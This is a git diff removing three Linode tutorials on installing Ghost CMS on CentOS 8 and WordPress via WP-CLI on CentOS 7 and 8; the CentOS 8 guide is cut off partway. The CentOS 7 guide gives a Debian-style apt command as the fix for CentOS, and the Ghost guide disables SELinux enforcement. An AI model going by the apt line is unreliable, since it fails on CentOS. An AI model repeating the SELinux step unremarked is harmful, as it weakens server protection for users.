Policy](https://www.drupal.org/project/password_policy) defines a user password policy -* [Security Review](https://www.drupal.org/project/security_review) automates security testing diff --git a/docs/guides/websites/cms/ghost/how-to-install-ghost-on-centos-8/index.md b/docs/guides/websites/cms/ghost/how-to-install-ghost-on-centos-8/index.md deleted file mode 100644 index 97370d70fd6..00000000000 --- a/docs/guides/websites/cms/ghost/how-to-install-ghost-on-centos-8/index.md +++ /dev/null @@ -1,285 +0,0 @@ ---- -slug: how-to-install-ghost-on-centos-8 -title: Installing Ghost CMS on CentOS 8 -title_meta: How to Install Ghost CMS on CentOS 8 -description: 'This tutorial will teach you how to install Ghost, a publishing platform great for running blogs and sharing published content, on CentOS 8.' -og_description: 'Easily publish your own professional-looking blog using Ghost on your Linode running CentOS 8.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-02-10 -keywords: ["ghost", "install ghost", "ghost on linode", "configure ghost", "deploy ghost on CentOS 8", "ghost cms"] -tags: ["nginx","centos","mysql","cms"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: GhostCMSonCentos8.png -external_resources: -- '[Ghost Setup Documentation](https://ghost.org/docs/setup/)' -- '[Ghost Theme Documentation](https://ghost.org/docs/api/v3/handlebars-themes/)' -- '[Ghost API Documentation](https://ghost.org/docs/api/v3/)' -relations: - platform: - key: how-to-install-ghost-cms - keywords: - - distribution: CentOS 8 -aliases: ['/websites/cms/ghost/how-to-install-ghost-on-centos-8/'] ---- - -[Ghost](https://ghost.org/developers/) is an open source blogging platform that helps you easily create a professional-looking online blog. Ghost is a robust content management system (CMS) with a Markdown editor, an easy-to-use user interface, and beautiful themes. It is easy to install and update with [Ghost-CLI](https://github.com/TryGhost/Ghost-CLI). - -## In This Guide - -In this guide, you'll set up, deploy, and secure a Ghost v3.5.1 blog on a Linode running CentOS 8, using NGINX, MariaDB, Node.js, NPM, and Ghost-CLI. For installation instructions for other distributions, click [here](/cloud/guides/websites/cms/ghost/). - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, consult our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. - -Replace each instance of `example.com` in this guide with your site’s domain name. -{{< /note >}} - -## Before you Begin - -1. This guide assumes that you've followed the steps in our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guides and have created a new user for Ghost with elevated `sudo` privileges. The example username used in this guide is `ghostexample`. - -1. Ensure that you have a valid domain name and [properly configured DNS records](https://techdocs.akamai.com/cloud-computing/docs/dns-manager) for your domain. - -1. Ensure that your system is up to date: - - sudo yum update - -1. Set your system to SELinux permissive mode: - - sudo setenforce 0 - sudo sed -i 's/^SELINUX=.*/SELINUX=permissive/g' /etc/selinux/config - -1. Add `EPEL repository`: - - sudo dnf -y install epel-release - -## Install Prerequisites - -### Install and Configure MariaDB - -1. Download and install MariaDB: - - sudo dnf module install mariadb - -1. Set MySQL to start on reboot: - - sudo systemctl enable --now mariadb - -1. Secure the MySQL installation: - - mysql_secure_installation - -You will be given the choice to change the MariaDB root password, remove anonymous user accounts, disable root logins outside of localhost, and remove test databases. It is recommended that you answer `yes` to these options. You can read more about the script in the [MariaDB Knowledge Base](https://mariadb.com/kb/en/mariadb/mysql_secure_installation/). - -### Install Node.js and NPM - -Ghost is built on Node.js and follows Node's Long Term Support (LTS) plan. Ghost only supports [LTS versions of Node.js](https://github.com/nodejs/LTS). - -Download and install Node.js: - - sudo dnf -y install @nodejs - sudo npm install pm2 -g - -### Install and Configure NGINX - -NGINX will be used as a reverse proxy for your Ghost application: - -1. Install NGINX: - - sudo dnf install @nginx - -1. Navigate to the `/etc/nginx/` directory which will contain your configuration files: - - cd /etc/nginx/ - -1. Create new directories for your Ghost configuration files: - - sudo mkdir sites-available - sudo mkdir sites-enabled - -1. Create a configuration file for Ghost at `/etc/nginx/sites-available/ghost`, replace `example.com` with your site's domain: - - {{< file "/etc/nginx/sites-available/ghost" >}} -server { - listen 80 default_server; - listen [::]:80 default_server; - - server_name example.com www.example.com; - root /var/www/ghost; - - location / { - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Forwarded-Proto $scheme; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header Host $host; - proxy_pass http://127.0.0.1:2368; - } - - client_max_body_size 50m; -} -{{}} - -1. Create a symlink from `sites-available` to `sites-enabled`: - - sudo ln -s /etc/nginx/sites-available/ghost /etc/nginx/sites-enabled/ghost - -1. Update the `http` block in your NGINX config `/etc/nginx/nginx.conf` file by adding an include for the configuration file you just made, a directive for `server_names_hash_bucket_size`, and comment out the entire `server` block: - - {{< file "/etc/nginx/nginx.conf" >}} -http { -... - # Load modular configuration files from the /etc/nginx/conf.d directory. - # See http://nginx.org/en/docs/ngx_core_module.html#include - # for more information. - include /etc/nginx/conf.d/*.conf; - include /etc/nginx/sites-enabled/*; - - server_names_hash_bucket_size 64; - -# server { -# listen 80 default_server { -# ... -# } -#} -... -{{}} - -1. Open the firewall for traffic: - - sudo firewall-cmd --zone=public --permanent --add-service=http - sudo firewall-cmd --zone=public --permanent --add-service=https - sudo firewall-cmd --reload - -1. You can test your NGINX configuration with this command: - - sudo nginx -t - -1. Start the service with the following commands: - - sudo systemctl enable nginx - sudo systemctl start nginx - -1. Verify that it's running: - - sudo systemctl status nginx - -## Install and Configure Ghost - -### Install Ghost-CLI - -Ghost-CLI is a command line interface (CLI) tool that makes installing and updating Ghost easy. For CentOS, it will set up the database and initialize Ghost as a systemd service. - -Install Ghost-CLI: - - sudo npm install -g ghost-cli@latest - -### Install Ghost - -Install Ghost using the Ghost-CLI tool. - -1. Create the document root directory: - - sudo mkdir -p /var/www/ghost - - {{< note respectIndent=false >}} -Installing Ghost in the `/root` or `/home/{user}` folder won’t work and results in a broken setup. Only use `/var/www/{folder}` because it has the correct permissions. -{{< /note >}} - -1. Change ownership of the `/var/www/ghost` directory to the non-root user with `sudo` privileges that you created. In this example, `ghostexample` is our username: - - sudo chown ghostexample:ghostexample /var/www/ghost - sudo chmod 775 /var/www/ghost - -1. Navigate to the Ghost root directory: - - cd /var/www/ghost - -1. Ensure that the directory is empty to avoid file conflicts: - - ls -a - -1. Install Ghost in production mode: - - ghost install - - {{< note respectIndent=false >}} -By default Ghost looks for Ubuntu and will display this warning if it detects a different operating system. - -{{< output >}} -System checks failed with message: 'Linux version is not Ubuntu 16 or 18' -Some features of Ghost-CLI may not work without additional configuration. -For local installs we recommend using `ghost install local` instead. -{{}} - -It will ask you if you would like to continue anyway, answer yes. - -The installer also gets a little confused at our installing MariaDB instead of MySQL. It appears to error with a note that it is skipping MySQL and asks if you want to continue anyway, answer yes. -{{< /note >}} - -1. Answer each question as prompted. For more information about each question, visit the [Ghost documentation](https://ghost.org/docs/install/ubuntu/#install-questions): - - {{< output >}} -? Enter your blog URL: https://example.com -? Enter your MySQL hostname: localhost -? Enter your MySQL username: root -? Enter your MySQL password: thePasswordYouEnteredForRoot -? Enter your Ghost database name: exampleGhost -Configuring Ghost -Setting up instance -+ sudo useradd --system --user-group ghost -+ sudo chown -R ghost:ghost /var/www/ghost/content -Setting up "ghost" system user -? Do you wish to set up "ghost" mysql user? yes -Nginx is not installed. Skipping Nginx setup. -i Setting up Nginx [ skipped ] -Nginx setup task was skipped, skipping SSL setup -i Setting up SSL [ skipped ] -? Do you wish to set up Systemd? yes -Creating systemd service file at /var/www/ghost/system/files/ghost_example-com.service -+ sudo ln -sf /var/www/ghost/system/files/ghost_example-com.service /lib/systemd/system/ghost_example-com.service -+ sudo systemctl daemon-reload -Setting up Systemd -+ sudo systemctl is-active ghost_example-com -? Do you want to start Ghost? yes -+ sudo systemctl start ghost_example-com -+ sudo systemctl is-enabled ghost_example-com -+ sudo systemctl enable ghost_example-com --quiet -Starting Ghost -{{< /output >}} - -1. After installation is complete, run `ghost ls` to view running Ghost processes: - - ghost ls - -In the future when a newer version of Ghost is released, run `ghost update` from the `/var/www/ghost` directory to update to the newest version. - -### Complete the Setup - -To complete the setup process, navigate to the Ghost configuration page by appending `/ghost` to the end of your blog’s URL or IP. This example uses `https://example.com/ghost`. - -1. On the welcome screen, click **Create your account**: - - ![Ghost Welcome Screen](ghost-welcome-screen.png "Ghost Welcome Screen") - -1. Enter your email, create a user, password, and blog title: - - ![Create Your Account Screen](ghost-create-your-account.png "Create Your Account Screen") - -1. Invite additional members to your team. If you’d prefer to skip this step, click **I’ll do this later, take me to my blog!** at the bottom of the page. - - ![Invite Your Team Screen](ghost-1-0-0-invite-team-small.png "Invite Your Team Screen") - -1. Navigate the Ghost admin area to create your first post, change your site's theme, or configure additional settings: - - ![Ghost Admin Area](ghost-admin-area.png "Ghost Admin Area") - -## Troubleshooting - -1. Troubleshoot the system for any potential issues when installing or updating Ghost: - - ghost doctor - -1. Get help about Ghost: - - ghost --help diff --git a/docs/guides/websites/cms/wordpress/how-to-install-wordpress-using-wp-cli-on-centos-7/index.md b/docs/guides/websites/cms/wordpress/how-to-install-wordpress-using-wp-cli-on-centos-7/index.md deleted file mode 100644 index e66ec1a67c0..00000000000 --- a/docs/guides/websites/cms/wordpress/how-to-install-wordpress-using-wp-cli-on-centos-7/index.md +++ /dev/null @@ -1,522 +0,0 @@ ---- -slug: how-to-install-wordpress-using-wp-cli-on-centos-7 -title: 'Install WordPress Using WP-CLI on CentOS 7' -title_meta: 'How to Install WordPress Using WP-CLI on CentOS 7' -description: 'Install WordPress Using WP-CLI on CentOS 7' -authors: ["Linode"] -contributors: ["Linode"] -published: 2018-08-06 -modified: 2020-02-17 -keywords: ["install WP-CLI", "centos", "wordpress", "apache", "bash completion", "plugin", "WP-CLI", "themes"] -tags: ["centos","wordpress","cms","lamp"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[WP-CLI Handbook](https://make.wordpress.org/cli/handbook/)' -- '[WP-CLI Commands](https://developer.wordpress.org/cli/commands/)' -- '[WP-CLI Tools](https://make.wordpress.org/cli/handbook/tools/)' -relations: - platform: - key: how-to-install-wordpress-using-wp-cli - keywords: - - distribution: CentOS 7 -aliases: ['/websites/cms/wordpress/how-to-install-wordpress-using-wp-cli-on-centos-7/','/websites/cms/wp-cli/how-to-install-wordpress-using-wp-cli-on-centos-7/'] ---- - -WordPress is well-known for its rich content management feature set, ease of use, and quick installation time. The [WordPress command line interface (WP-CLI)](https://wp-cli.org/) provides useful commands and utilities to install, configure, and manage a WordPress site. This guide walks you through some common tasks you can complete using the WP-CLI. - -## In this Guide: - -This tutorial covers how to complete the following tasks: - -- [Install the WP-CLI on a Linode running CentOS 7](#install-wp-cli) -- [Install a WordPress instance using the WP-CLI](#install-wordpress) -- [Helpful and common WP-CLI commands you can use to manage your WordPress site](#common-commands) - -## Prerequisites - -Before moving ahead, make sure you have completed the following steps. - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - - {{< note respectIndent=false >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -1. If you'd like to use your own [Domain Name](/cloud/guides/dns-overview/) to host your WordPress installation, ensure that your domain name is [pre-configured](https://techdocs.akamai.com/cloud-computing/docs/getting-started-with-dns-manager) to point to your Linode's IP address. - -1. Follow the [Install a LAMP Stack on CentOS 7](/cloud/guides/how-to-install-a-lamp-stack-on-centos-7/) guide. **Skip the steps** in the [Configure Apache Virtual Hosts File](/cloud/guides/how-to-install-wordpress-using-wp-cli-on-centos-7/#configure-apache-virtual-hosts-file), the [Create a MariaDB Database](/cloud/guides/how-to-install-a-lamp-stack-on-centos-7/#create-a-mariadb-database), and the [Optional: Test and Troubleshoot the LAMP Stack](/cloud/guides/how-to-install-a-lamp-stack-on-centos-7/#optional-test-and-troubleshoot-the-lamp-stack) section. Those steps will be covered later on in this guide. - - {{< note respectIndent=false >}} -When following the steps to [install PHP](#install-php) in the [Install a LAMP Stack on CentOS 7](/cloud/guides/how-to-install-a-lamp-stack-on-centos-7/) guide, you will need to issue the command included below to install the required PHP packages. The command in the linked guide does not currently work with CentOS 7. - - sudo apt install php libapache2-mod-php php-mysql - {{< /note >}} - -## Install WP-CLI - -1. WP-CLI is available as a PHP Archive file (`.phar`). You can download it using either `wget` or `curl` commands: - - curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar - - **Or** - - wget https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar - -1. You need to make this `.phar` file executable and move it to `/usr/local/bin` so that it can be run directly: - - chmod +x wp-cli.phar - sudo mv wp-cli.phar /usr/local/bin/wp - -1. Check if it is installed properly: - - wp --info - - You should see a similar output to the one displayed below, which means you can proceed: - - {{< output >}} -OS: Linux 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 -Shell: /bin/bash -PHP binary: /usr/bin/php7.2 -PHP version: 7.2.24-0ubuntu0.18.04.2 -php.ini used: /etc/php/7.2/cli/php.ini -WP-CLI root dir: phar://wp-cli.phar/vendor/wp-cli/wp-cli -WP-CLI vendor dir: phar://wp-cli.phar/vendor -WP_CLI phar path: /home/lsalazar -WP-CLI packages dir: -WP-CLI global config: -WP-CLI project config: -WP-CLI version: 2.4.0 - {{}} - - You can use the above three steps for upgrading WP-CLI as well. - -### Activate Bash Completion - -The bash completion feature of WP-CLI allows you to see all its available commands on the fly when pressing **Tab**. WP-CLI supports tab completion for [Bash](https://www.gnu.org/software/bash/) and [Zsh](https://en.wikipedia.org/wiki/Z_shell). - -1. Install the wget package: - - sudo yum install wget -1. Download the bash script in your home directory: - - cd ~ - wget https://github.com/wp-cli/wp-cli/raw/master/utils/wp-completion.bash - -1. Edit your shell's configuration file so that wp-completion is loaded by the shell every time you open a new shell session: - - **Bash** - - Open the `.bashrc` file and add the following line to the bottom of the file: - - {{< file "~/.bashrc" bash >}} -source /home/$USER/wp-completion.bash -{{< /file >}} - - - Run the following command to reload the bash profile: - - source ~/.bashrc - - **Zsh** - - - Open the `.zshrc`file and add the following line to the bottom of the file: - - {{< file "~/.zshrc" bash >}} -autoload bashcompinit -bashcompinit -source /home/$USER/wp-completion.bash -{{< /file >}} - - - Run the following command to reload the Zsh profile: - - source ~/.zshrc - -1. Shell completion is now enabled. To test it, type `wp theme ` (include the trailing space) **Without Hitting Enter** and press **Tab** twice. You will see the list of available commands with `wp theme` again on the prompt. - -## Basics of WP-CLI - -In this section, you will learn some basics of how WP-CLI works. This will help you when using the tool in the upcoming sections of the guide. - -- So far, we have seen WP-CLI accessed through the main command, `wp`. You can follow the main command with nested subcommands. For example, WP-CLI includes a command to download WordPress: - - {{< note respectIndent=false >}} -Do not issue the example `wp` command. You will install WordPress in the [Download and Configure WordPress](#download-and-configure-wordpress) section of the guide. - {{< /note >}} - - wp core download - - In the example, `wp` is the main command while `core` and `download` are its nested subcommands. Nesting subcommands can extend one or two levels. - -- WP-CLI also comes with a detailed help section, which displays all the commands you might need. To access help enter the following command: - - wp help - - The output should resemble: - - {{< output >}} -wp - -DESCRIPTION - -Manage WordPress through the command-line. - -SYNOPSIS - -wp - -SUBCOMMANDS - -cache Manage the object cache. -cap Manage user capabilities. -cli Get information about WP-CLI itself. -comment Manage comments. -core Download, install, update and otherwise manage WordPress proper. -cron Manage WP-Cron events and schedules. -db Perform basic database operations. -eval Execute arbitrary PHP code after loading WordPress. -eval-file Load and execute a PHP file after loading WordPress. -: - {{}} - - - `:` is a prompt that, with subcommands, can help you navigate through this help menu. - - Up and down arrow keys will let you scroll through the entire help command list. - - Typing `q` will exit the help menu. - - For additional details on how to further navigate through the complete help section, you can always type `h` at the above prompt. - - You can use the enabled bash completion to demonstrate WP-CLI's readily available command list. Simply type `wp` and press tab twice. You will see the list of available commands. Now, type `wp core` and press tab twice. You will see a list of commands that can be used with `core`. This double tabbing after a command can be repeated for any primary or subcommand. - -## Install WordPress - -In this section, you will complete the prerequisite configuration steps needed to install WordPress. Then, you will install WordPress using the WP-CLI. - -### Prepare the WordPress Database - -1. Log in to the MariaDB command line as the database's root user: - - sudo mysql -u root - - {{< note respectIndent=false >}} -If you set up a password for MySQL, you would log in with the `-p` flag as well: - - sudo mysql -u root -p -{{< /note >}} - -1. Create the WordPress database: - - {{< highlight sql >}} -CREATE DATABASE wordpress; -{{< /highlight >}} - -1. Create a database user and grant them privileges for the newly created `wordpress` database, replacing `wpuser` and `password` with the username and password you wish to use: - - {{< highlight sql >}} -CREATE USER 'wpuser' IDENTIFIED BY 'password'; -GRANT ALL PRIVILEGES ON wordpress.* TO 'wpuser'; -FLUSH PRIVILEGES; -{{< /highlight >}} - -1. Type `quit` to exit the MariaDB command line. - -1. Install the `policycoreutils-python` package to manage SELinux and open your MySQL port: - - sudo yum install policycoreutils-python - -1. Configure SELinux to enable MariaDB's use of port 3306: - - sudo semanage port -a -t mysqld_port_t -p tcp 3306 - - {{< note respectIndent=false >}} -Use **netstat** to confirm the port used by MariaDB with the command `netstat -tln`. The port in use will typically be `3306`. - {{< /note >}} - -1. Configure SELinux to allow your Apache web server to make database connections: - - sudo setsebool httpd_can_network_connect_db 1 - -### Upgrade to PHP Version 5.6 - -The latest version of WordPress (5.3.2 at the time of writing this guide) requires at least PHP version 5.6.20. This section includes steps to upgrade your CentOS 7 Linode's PHP version, if needed. - -1. Check the version of PHP that you are currently running. If you see a version lower than 5.6.20, then proceed with the next steps: - - php --version - -1. Install and enable [EPEL](https://fedoraproject.org/wiki/EPEL) and [Remi](https://rpms.remirepo.net/) repositories on your system: - - sudo yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo yum install http://rpms.remirepo.net/enterprise/remi-release-7.rpm - -1. Install the `yum-utils` package which includes utilities which you'll need to complete your PHP version upgrade: - - sudo yum install yum-utils - -1. Activate the PHP 5.6 Remi repository using the `yum-config-manager` utility: - - sudo yum-config-manager --enable remi-php56 - -1. Install PHP version 5.6: - - sudo yum install php php-mcrypt php-cli php-gd php-curl php-mysql php-ldap php-zip php-fileinfo - - You should now have a version of PHP that will be compatible with the latest version of WordPress. - -### Download and Configure WordPress - -1. Create your WordPress site's document root. Replace `example.com` with your site's name: - - sudo mkdir -p /var/www/html/example.com/public_html - -1. Move to the Apache `example.com` directory: - - cd /var/www/html/example.com - -1. Change the ownership of the `public_html` directory. Apache comes with its own `apache` user and group. As a recommended practice, you should change the ownership of your installation directory to `apache`: - - sudo chown -R apache:apache /var/www/html/example.com/public_html - sudo chmod g+w /var/www/html/example.com/public_html - - -1. Add your limited user account to the `apache` group: - - sudo usermod -a -G apache user - - {{< note respectIndent=false >}} -You may need to log out of your SSH session and log back in for the user group change to take effect. To verify issue the following command. You should see the `apache` group returned as one of the groups. - - groups - -{{< output >}} -user wheel apache -{{}} - {{< /note >}} - -1. Change the user and group ownership of the `/var/www` directory. This will allow the `apache` user to write to the directory when caching downloaded files to the `/var/www/.wp-cli/cache` directory: - - sudo chown apache:apache /var/www - -1. Download the WordPress files. - - cd /var/www/html/example.com/public_html/ - wp core download - -1. Create a `wp-config.php` file. Replace `wpuser` and `password` with your WordPress database user and password. Also, replace `example_hostname` with your Linode's hostname. `dbprefix` is entirely optional and can be omitted unless you need to change their default values. - - wp core config --dbname='wordpress' --dbuser='wpuser' --dbpass='password' --dbhost='example_hostname' --dbprefix='wp_' - -1. Run the installation. Replace `adminuser` with the username you'd like to login to WordPress, and replace `password` with a unique password. Replace `example.com` with your domain, or replace it with your IP address if you haven't set up a domain yet. - - wp core install --url='http://example.com' --title='Blog Title' --admin_user='adminuser' --admin_password='password' --admin_email='email@domain.com' - -### Configure Apache Virtual Hosts File - -You will need to configure Apache so that you can access your WordPress site from a browser. - -1. Create directories for your WordPress site's Apache error and access logs: - - sudo mkdir /var/log/httpd/example.com/ - -1. Create directories for Apache's virtual hosts file: - - sudo mkdir /etc/httpd/sites-available /etc/httpd/sites-enabled - -1. Create your WordPress site's Apache error and access log files: - - sudo touch /var/log/httpd/example.com/access.log - sudo touch /var/log/httpd/example.com/error.log - -1. Edit Apache's configuration file to let it know to look for virtual host files in the `/etc/httpd/sites-enabled` directory. Add the example line to the bottom of your `httpd.conf` file: - - {{< file "/etc/httpd/conf/httpd.conf" apache>}} -IncludeOptional sites-enabled/*.conf - {{}} - -1. Navigate to your `/var/www/html/example.com` directory if you are not already there: - - cd /var/www/html/example.com - -1. Create the virtual host file for your website. Replace the `example.com` in `example.com.conf` with your domain name: - - sudo nano /etc/httpd/sites-available/example.com.conf - -1. Create a configuration for your virtual host. Copy the basic settings in the example below and paste them into the virtual host file you just created. Replace all instances of `example.com` with your domain name: - - {{< file "/etc/httpd/sites-availabe/example.com.conf" apache>}} - - Require all granted - - - ServerName example.com - ServerAdmin webmaster@localhost - DocumentRoot /var/www/html/example.com/public_html - ErrorLog /var/log/httpd/example.com/error.log - CustomLog /var/log/httpd/example.com/access.log combined - - order allow,deny - deny from all - - - {{}} - -1. Save the changes to the virtual host configuration file by pressing **CTRL+X** and then pressing **Y**. Press **ENTER** to confirm. - -1. Create a symbolic link from your virtual hosts file in the `sites-available` directory to the `sites-enabled` directory. Replace `example.com.conf` with the name of your own virtual hosts file. - - sudo ln -s /etc/httpd/sites-available/example.com.conf /etc/httpd/sites-enabled/example.com.conf - -1. Reload to apply your new configuration: - - sudo systemctl reload httpd - - {{< note respectIndent=false >}} -For more details on configuring your Apache virtual hosts file, see [Apache's official documentation](http://httpd.apache.org/docs/current/vhosts/). - {{< /note >}} - -1. Visit `http://example.com/wp-admin` (or `http:///wp-admin` if you haven't set up a domain) and verify that you can log in with the WordPress user you created in the [Download and Configure WordPress](#download-and-configure-wordpress) section of the guide. - -## Common Commands - -### Install Plugins - -This section covers common WP-CLI commands related to installing and updating WordPress plugins. As an example, this section will use the [Yoast SEO plugin](https://wordpress.org/plugins/wordpress-seo/). - -To install a plugin, your first step will be to find the *plugin slug*. In this case, the slug is the last part of a permalink URL which describes the plugin. If a plugin is available at http://wordpress.org/plugins/plugin-dir/, then `plugin-dir` is the slug of the plugin. You install the plugin under the same directory on your WordPress site at `http://example.com/wp-content/plugins/plugin-dir/`. Since this slug is unique to every plugin, you can search for the slug of any plugin using WP-CLI and then install it. - -1. Navigate to your WordPress site's root directory. Replace `example.com` with your own site's root directory: - - cd /var/www/html/example.com/public_html - -1. Search for the plugin you would like to install: - - wp plugin search yoast - - You will get an output similar to this. - - {{< output >}} -Success: Showing 10 of 574 plugins. -+---------------------------------------------------+------------------------------------+--------+ -| name | slug | rating | -+---------------------------------------------------+------------------------------------+--------+ -| Yoast SEO | wordpress-seo | 98 | -| Yoast SEO: Search Index Purge | yoast-seo-search-index-purge | 68 | -| ACF Content Analysis for Yoast SEO | acf-content-analysis-for-yoast-seo | 90 | -| Glue for Yoast SEO & AMP | glue-for-yoast-seo-amp | 88 | -| Google Analytics for WordPress by MonsterInsights | google-analytics-for-wordpress | 78 | -| Import Settings into WordPress SEO by Yoast | yoast-seo-settings-xml-csv-import | 100 | -| Remove Yoast SEO Comments | remove-yoast-seo-comments | 92 | -| Surbma – Yoast SEO Breadcrumb Shortcode | surbma-yoast-breadcrumb-shortcode | 84 | -| LiteSpeed Cache | litespeed-cache | 98 | -| WPGlobus – Multilingual Everything! | wpglobus | 92 | -+---------------------------------------------------+------------------------------------+--------+ -{{}} - - You can see more than 10 plugins per page by modifying the command: - - wp plugin search yoast --per-page=20 - -1. Now that you know the slug of the plugin, you want to install (`wordpress-seo`) by appending it to your command, and activate it: - - wp plugin install wordpress-seo - wp plugin activate wordpress-seo - -### Update Plugins -To update any plugin on your WordPress site: - -1. Navigate to your WordPress site's root directory. Replace `example.com` with your own site's root directory. - - cd /var/www/html/example.com/public_html - -1. Issue the plugin update command followed by the name of the plugin: - - wp plugin update wordpress-seo - - Or, to update all plugins issue the following command: - - wp plugin update --all - -1. To list all the installed plugins on your WordPress site, you can use the following command: - - wp plugin list - -### Uninstall Plugins - -To uninstall a WordPress plugin: - -1. Navigate to your WordPress site's root directory. Replace `example.com` with your own site's root directory. - - cd /var/www/html/example.com/public_html - -1. Deactivate and uninstall the plugin: - - wp plugin deactivate wordpress-seo - wp plugin uninstall wordpress-seo - -### Install Themes - -The procedure for installing and activating a theme is nearly identical to that of a plugin. Just swap `plugin` for `theme` in all of the commands. - -1. Navigate to your WordPress site's root directory. Replace `example.com` with your own site's root directory. - - cd /var/www/html/example.com/public_html - -1. Search for the theme you'd like to install. Replace `twentyfourteen` with the theme you'd like to install. - - wp theme search twentyfourteen - -1. Install and activate the theme: - - wp theme install twentyfourteen - wp theme activate twentyfourteen - -### Update Themes - -1. Navigate to your WordPress site's root directory. Replace `example.com` with your own site's root directory. - - cd /var/www/html/example.com/public_html - -1. To list all the themes in a tabular form issue the example command. You can use this command to find the theme you would like to update. - - wp theme list - -1. Update your theme: - - wp theme update twentyfourteen - - To update all themes installed on your WordPress site, issue the following command: - - wp theme update --all - -### Uninstall Themes - -1. Navigate to your WordPress site's root directory. Replace `example.com` with your own site's root directory. - - cd /var/www/html/example.com/public_html - -1. To uninstall a theme, activate a different theme first: - - wp theme activate twentyseventeen - -1. Once you've activated another theme, you can safely uninstall the previously active theme: - - wp theme uninstall twentynineteen - -### Update WordPress - -To update your WordPress site: -{{< note >}} -For more details on best practices when updating your WordPress site, see [WordPress' official documentation](https://wordpress.org/support/article/updating-wordpress/). -{{< /note >}} - -1. Navigate to your WordPress site's root directory. Replace `example.com` with your own site's root directory. - - cd /var/www/html/example.com/public_html - -1. Update all your site's files first: - - wp core update - -1. Update your site's database: - - wp core update-db - -## Next Steps - -You can now further configure WP-CLI. These commands are just the tip of the iceberg about how you can manage WordPress from the command line. Write or edit posts, perform database queries, manage user capabilities, manage `cron` events, import or export content, manage attachments, and even manage multi-site installations through a few, quick and practical keystrokes. You have refined WordPress management, and conserved valuable time. diff --git a/docs/guides/websites/cms/wordpress/how-to-install-wordpress-using-wp-cli-on-centos-8/index.md b/docs/guides/websites/cms/wordpress/how-to-install-wordpress-using-wp-cli-on-centos-8/index.md deleted file mode 100644 index 341ea1520cb..00000000000 --- a/docs/guides/websites/cms/wordpress/how-to-install-wordpress-using-wp-cli-on-centos-8/index.md +++ /dev/null @@ -1,480 +0,0 @@ ---- -slug: how-to-install-wordpress-using-wp-cli-on-centos-8 -title: 'Install WordPress Using WP-CLI on CentOS 8' -title_meta: 'How to Install WordPress Using WP-CLI on CentOS 8' -description: 'Install WordPress Using WP-CLI on CentOS 8' -authors: ["Linode"] -contributors: ["Linode"] -published: 2018-08-06 -modified: 2020-02-17 -keywords: ["install WP-CLI", "centos", "wordpress", "apache", "bash completion", "plugin", "WP-CLI", "themes"] -tags: ["centos","wordpress","cms","lamp"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[WP-CLI Handbook](https://make.wordpress.org/cli/handbook/)' -- '[WP-CLI Commands](https://developer.wordpress.org/cli/commands/)' -- '[WP-CLI Tools](https://make.wordpress.org/cli/handbook/tools/)' -relations: - platform: - key: how-to-install-wordpress-using-wp-cli - keywords: - - distribution: CentOS 8 -aliases: ['/websites/cms/wordpress/how-to-install-wordpress-using-wp-cli-on-centos-8/','/websites/cms/wp-cli/how-to-install-wordpress-using-wp-cli-on-centos-8/'] ---- - -WordPress is well-known for its rich content management feature set, ease of use, and quick installation time. The [WordPress command line interface (WP-CLI)](https://wp-cli.org/) provides useful commands and utilities to install, configure, and manage a WordPress site. This guide walks you through some common tasks you can complete using the WP-CLI. - -## In this Guide: - -This tutorial covers how to complete the following tasks: - -- [Install the WP-CLI on a Linode running CentOS 8](#install-wp-cli) -- [Install a WordPress instance using the WP-CLI](#install-wordpress) -- [Helpful and common WP-CLI commands you can use to manage your WordPress site](#common-commands) - -## Prerequisites - -Before moving ahead, make sure you have completed the following steps. - -1. If you'd like to use your own [Domain Name](/cloud/guides/dns-overview/) to host your WordPress installation, ensure that your domain name is [pre-configured](https://techdocs.akamai.com/cloud-computing/docs/getting-started-with-dns-manager) to point to your Linode's IP address. - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - - {{< note respectIndent=false >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -1. Follow the [Install a LAMP Stack on CentOS 8](/cloud/guides/how-to-install-a-lamp-stack-on-centos-8/) guide. **Skip the steps** in the [Configure Name-Based Virtual Hosts](/cloud/guides/how-to-install-a-lamp-stack-on-centos-8/#configure-name-based-virtual-hosts), the [Create a MariaDB Database](/cloud/guides/how-to-install-a-lamp-stack-on-centos-8/#create-a-mariadb-database), and the [Optional: Test and Troubleshoot the LAMP 